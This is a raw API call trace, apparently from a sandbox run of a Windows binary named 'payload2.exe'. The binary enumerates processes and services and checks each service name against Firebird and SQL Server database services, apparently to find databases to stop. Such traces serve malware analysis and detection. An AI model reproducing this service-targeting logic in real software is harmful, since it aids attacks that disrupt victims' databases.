	[0076.680] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0076.680] lstrlenW (lpString="conhost.exe") returned 11
	[0076.680] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0076.681] lstrlenW (lpString="conhost.exe") returned 11
	[0076.681] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0076.682] lstrlenW (lpString="payload2.exe") returned 12
	[0076.682] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0076.682] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0076.682] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0076.683] lstrlenW (lpString="conhost.exe") returned 11
	[0076.683] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.684] lstrlenW (lpString="svchost.exe") returned 11
	[0076.684] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x468, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0076.685] lstrlenW (lpString="cmd.exe") returned 7
	[0076.685] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0076.685] lstrlenW (lpString="conhost.exe") returned 11
	[0076.685] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0076.686] lstrlenW (lpString="mode.com") returned 8
	[0076.686] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0076.686] CloseHandle (hObject=0x340) returned 1
	[0076.686] Sleep (dwMilliseconds=0x1f4) 
	[0077.289] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d7a0
	[0077.290] EnumServicesStatusExW (in: hSCManager=0x52d7a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0077.290] GetLastError () returned 0xea
	[0077.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1d60) returned 0x4314a18
	[0077.291] EnumServicesStatusExW (in: hSCManager=0x52d7a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4314a18, cbBufSize=0x1d60, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4314a18, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0077.292] CloseServiceHandle (hSCObject=0x52d7a0) returned 1
	[0077.292] lstrlenW (lpString="Appinfo") returned 7
	[0077.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0077.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0077.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0077.292] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0077.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0077.292] lstrlenW (lpString="AppXSvc") returned 7
	[0077.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0077.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0077.292] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0077.292] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0077.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0077.292] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0077.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0077.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0077.293] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0077.293] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0077.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0077.293] lstrlenW (lpString="Audiosrv") returned 8
	[0077.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0077.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0077.293] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0077.293] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0077.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0077.293] lstrlenW (lpString="BFE") returned 3
	[0077.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0077.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0077.293] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0077.293] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0077.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0077.293] lstrlenW (lpString="BITS") returned 4
	[0077.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0077.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0077.293] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0077.293] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0077.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0077.293] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0077.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0077.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0077.293] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0077.293] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0077.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0077.293] lstrlenW (lpString="CDPSvc") returned 6
	[0077.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0077.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0077.293] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0077.293] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0077.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0077.294] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0077.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0077.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0077.294] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0077.294] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0077.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0077.294] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0077.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0077.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0077.294] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0077.294] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0077.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0077.294] lstrlenW (lpString="CryptSvc") returned 8
	[0077.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0077.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0077.294] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0077.294] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0077.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0077.294] lstrlenW (lpString="DcomLaunch") returned 10
	[0077.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0077.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0077.294] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0077.294] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0077.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0077.294] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0077.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0077.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0077.294] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0077.294] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0077.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0077.294] lstrlenW (lpString="Dhcp") returned 4
	[0077.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0077.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0077.295] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0077.295] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0077.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0077.295] lstrlenW (lpString="Dnscache") returned 8
	[0077.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0077.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0077.295] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0077.295] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0077.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0077.295] lstrlenW (lpString="DoSvc") returned 5
	[0077.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0077.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0077.295] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0077.295] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0077.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0077.295] lstrlenW (lpString="DPS") returned 3
	[0077.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0077.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0077.295] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0077.295] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0077.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0077.295] lstrlenW (lpString="DusmSvc") returned 7
	[0077.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0077.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0077.295] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0077.295] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0077.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0077.295] lstrlenW (lpString="EventLog") returned 8
	[0077.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0077.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0077.296] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0077.296] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0077.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0077.296] lstrlenW (lpString="EventSystem") returned 11
	[0077.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0077.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0077.296] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0077.296] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0077.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0077.296] lstrlenW (lpString="FontCache") returned 9
	[0077.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0077.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0077.296] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0077.296] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0077.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0077.296] lstrlenW (lpString="gpsvc") returned 5
	[0077.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0077.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0077.296] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0077.296] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0077.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0077.296] lstrlenW (lpString="iphlpsvc") returned 8
	[0077.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0077.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0077.296] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0077.296] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0077.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0077.296] lstrlenW (lpString="KeyIso") returned 6
	[0077.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0077.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0077.296] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0077.296] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0077.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0077.297] lstrlenW (lpString="LanmanServer") returned 12
	[0077.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0077.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0077.297] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0077.297] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0077.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0077.297] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0077.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0077.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0077.297] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0077.297] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0077.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0077.297] lstrlenW (lpString="lfsvc") returned 5
	[0077.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0077.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0077.297] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0077.297] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0077.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0077.297] lstrlenW (lpString="lmhosts") returned 7
	[0077.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0077.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0077.297] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0077.297] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0077.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0077.297] lstrlenW (lpString="LSM") returned 3
	[0077.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0077.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0077.297] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0077.297] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0077.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0077.297] lstrlenW (lpString="MapsBroker") returned 10
	[0077.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0077.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0077.298] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0077.298] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0077.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0077.298] lstrlenW (lpString="MpsSvc") returned 6
	[0077.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0077.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0077.298] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0077.298] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0077.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0077.298] lstrlenW (lpString="NcbService") returned 10
	[0077.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0077.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0077.298] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0077.298] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0077.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0077.298] lstrlenW (lpString="netprofm") returned 8
	[0077.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0077.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0077.298] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0077.298] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0077.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0077.298] lstrlenW (lpString="NgcSvc") returned 6
	[0077.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0077.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0077.298] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0077.298] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0077.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0077.298] lstrlenW (lpString="NlaSvc") returned 6
	[0077.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0077.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0077.298] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0077.298] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0077.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0077.299] lstrlenW (lpString="nsi") returned 3
	[0077.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0077.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0077.299] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0077.299] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0077.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0077.299] lstrlenW (lpString="PcaSvc") returned 6
	[0077.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0077.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0077.299] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0077.299] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0077.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0077.299] lstrlenW (lpString="PlugPlay") returned 8
	[0077.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0077.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0077.299] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0077.299] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0077.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0077.299] lstrlenW (lpString="Power") returned 5
	[0077.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0077.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0077.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0077.299] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0077.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0077.299] lstrlenW (lpString="ProfSvc") returned 7
	[0077.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0077.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0077.299] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0077.299] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0077.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0077.300] lstrlenW (lpString="RpcEptMapper") returned 12
	[0077.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0077.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0077.300] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0077.300] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0077.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0077.300] lstrlenW (lpString="RpcSs") returned 5
	[0077.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0077.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0077.300] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0077.300] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0077.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0077.300] lstrlenW (lpString="SamSs") returned 5
	[0077.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0077.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0077.300] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0077.300] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0077.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0077.300] lstrlenW (lpString="Schedule") returned 8
	[0077.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0077.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0077.300] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0077.300] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0077.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0077.300] lstrlenW (lpString="SecurityHealthService") returned 21
	[0077.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0077.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0077.300] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
